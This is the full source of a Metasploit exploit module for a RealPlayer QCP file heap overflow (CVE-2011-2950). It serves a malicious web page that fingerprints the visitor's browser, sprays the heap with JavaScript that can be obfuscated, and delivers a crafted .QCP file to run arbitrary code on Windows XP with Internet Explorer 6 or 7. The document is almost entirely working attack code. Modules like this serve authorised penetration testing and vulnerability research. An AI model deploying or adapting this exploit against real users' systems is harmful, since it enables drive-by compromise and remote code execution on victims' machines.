RealNetworks Realplayer QCP Parsing Heap Overflow

##
# $Id: realplayer_qcp.rb 13745 2011-09-17 06:48:33Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info={})
  super(update_info(info,
   'Name'        => "RealNetworks Realplayer QCP Parsing Heap Overflow",
   'Description' => %q{
     This module exploits a heap overflow in Realplayer when handling a .QCP file.
     The specific flaw exists within qcpfformat.dll. A static 256 byte buffer is
     allocated on the heap and user-supplied data from the file is copied within a
     memory copy loop.

     This allows a remote attacker to execute arbitrary code running in the context
     of the web browser via a .QCP file with a specially crafted "fmt" chunk.
     At this moment this module exploits the flaw on Windows XP IE6, IE7.
    },
   'License'     => MSF_LICENSE,
   'Version'     => "$Revision: 13745 $",
   'Author'      =>
    [
     'Sean de Regge', # Vulnerability discovery
     'juan vazquez'   # Metasploit module
    ],
   'References' =>
    [
     ['CVE', '2011-2950'],
     ['OSVDB', '74549'],
     ['BID', '49172'],
     # ZDI advisory
     ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-265/'],
     # Vendor advisory
     ['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'],
     #Fix commit
     ['URL', 'http://lists.helixcommunity.org/pipermail/datatype-cvs/2011-April/015469.html'],
    ],
   'Payload' =>
    {
     'Space' => 1024
    },
   'DefaultOptions' =>
    {
     'ExitFunction' => "process",
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     [ 'Automatic', {} ],
     [ 'Internet Explorer 6 on XP SP3', { 'Nops' => "%u1414%u1414" } ],
     [ 'Internet Explorer 7 on XP SP3', { 'Nops' => "%u0c0c%u0c0c" } ],
    ],
   'DisclosureDate' => "Aug 16 2011",
   'DefaultTarget' => 0))

  register_options(
   [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
   ], self.class)
 end

 def get_target(cli, request)
  #Default target
  my_target = target

  vprint_status("User-Agent: #{request.headers['User-Agent']}")

  if target.name == 'Automatic'
   agent = request.headers['User-Agent']
   if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
    #Windows XP + IE 6
    my_target = targets[1]
   elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
    #Windows XP + IE 7.0
    my_target = targets[2]
   elsif agent =~ /RMA/
    #RealPlayer identifies itself as "RMA/1.0 (compatible; RealMedia)"
    #when requesting our trigger file
    return 'RMA'
   else
    #If we don't recognize the client, we don't fire the exploit
    my_target = nil
   end
  end

  return my_target
 end

 def exploit
  #Set trigger file name
  @filename = rand_text_alpha(rand(6) + 3)
  #Create the trigger file
  @trigger = build_trigger
  super
 end

 def on_request_uri(cli, request)
  #Pick the right target
  vprint_status("Selecting target...")
  my_target = get_target(cli, request)
  if my_target.nil?
   print_error("Target not supported")
   send_not_found(cli)
   return
  end

  vprint_status("URL: #{request.uri.to_s}")

  #Send the trigger file upon request
  if request.uri.match(/\.qcp$/)
   print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}")
   send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
   return
  end

  vprint_status("Building shellcode...")
  code = Rex::Text.to_unescape(payload.encoded)

  vprint_status("Building spray...")
  spray = build_spray(my_target, code)

  #obfuscate on demand
  vprint_status("Obfuscating javascript...")
  if datastore['OBFUSCATE']
   spray = Rex::Exploitation::JSObfu.new(spray)
   spray.obfuscate
  end

  vprint_status("Building html...")
  #Value for the 'Src' parameter of our ActiveX control
  trigger_file = ""
  if ("/" == get_resource[-1,1])
   trigger_file = get_resource[0, get_resource.length - 1]
  else
   trigger_file = get_resource
  end
  trigger_file << "/#{@filename}.qcp"

  html = <<-EOS
  <HTML>
  <HEAD>
  </HEAD>
  <BODY>
  <script language='javascript'>
  #{spray}
  </script>
  <OBJECT ID=RVOCX CLASSID="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" WIDTH=320 HEIGHT=240>
  <PARAM NAME="SRC" VALUE="#{trigger_file}">
  <PARAM NAME="CONTROLS" VALUE="ImageWindow">
  <PARAM NAME="CONSOLE" VALUE="one">
  <PARAM NAME="AUTOSTART" VALUE="true">
  <EMBED SRC="#{trigger_file}" WIDTH=320 HEIGHT=240 NOJAVA=true CONTROLS=ImageWindow CONSOLE=one AUTOSTART=true>
  </OBJECT>
  </BODY>
  EOS

  print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")
  send_response( cli, html, {'Content-Type' => 'text/html'} )
 end

 def build_trigger()
  overflow_size = 700
  overflow_string = "\x11" * 700

  #riff_mark
  trigger = "\x52\x49\x46\x46"
  #total_size
  trigger << [0xed44 + overflow_size].pack("V")
  #qlcm_tag
  trigger << "\x51\x4c\x43\x4d"
  #fmt_tag
  trigger << "\x66\x6d\x74\x20"
  #fmt_size
  trigger << [0x96 + overflow_size].pack("V")
  #fmt_content
  trigger << "\x01\x00\x8d\xd4\x89\xe6\x76\x90"
  trigger << "\xb5\x46\x91\xef\x73\x6a\x51\x00"
  trigger << "\xce\xb4\x01\x00\x54\x49\x41\x20"
  trigger << "\x49\x53\x2d\x31\x32\x37\x20\x45"
  trigger << "\x6e\x68\x61\x6e\x63\x65\x64\x20"
  trigger << "\x56\x61\x72\x69\x61\x62\x6c\x65"
  trigger << "\x20\x52\x61\x74\x65\x20\x43\x6f"
  trigger << "\x64\x65\x63\x2c\x20\x53\x70\x65"
  trigger << "\x65\x63\x68\x20\x53\x65\x72\x76"
  trigger << "\x69\x63\x65\x20\x4f\x70\x74\x69"
  trigger << "\x6f\x6e\x20\x33\x20\x00\x00\x00"
  trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
  trigger << "\x00\x00\x00\x00\xc8\x32\x16\x00"
  trigger << "\xa0\x00\x40\x1f\x10\x00\x05\x00"
  trigger << "\x00\x00\x16\x04\x0a\x03\x05\x02"
  trigger << "\x02\x01\x00\x00\x00\x00\x00\x00"
  trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
  trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
  trigger << "\x00\x00\x00\x00\x00\x00"
  trigger << overflow_string
  #vrat_tag
  trigger << "\x76\x72\x61\x74"
  #vrat_size
  trigger << [0x8].pack("V")
  #vrat_content
  trigger << "\x01\x00\x00\x00\x06\x13\x00\x00"
  #data_tag
  trigger << "\x64\x61\x74\x61"
  #data_size
  trigger << [0xec8a].pack("V")
  #data_content
  trigger << rand_text_alpha(0xec8a)
  return trigger
 end

 def build_spray(mytarget, code)
  spray = <<-JS
  var heap_obj = new heapLib.ie(0x20000);

  var code = unescape("#{code}");
  var nops = unescape("#{mytarget['Nops']}");

  while (nops.length < 0x10000) nops += nops;
  offset = nops.substring(0, 0x7BE0);
  var shellcode = offset + code + nops.substring(0, 0x8000-offset.length-code.length);

  while (shellcode.length < 0x20000) shellcode += shellcode;
  block = shellcode.substring(0, (0x10000-6)/2);

  heap_obj.gc();

  for (var i=0; i < 0x1400; i++) {
   heap_obj.alloc(block);
  }
  JS

  spray = heaplib(spray)
  return spray
 end

end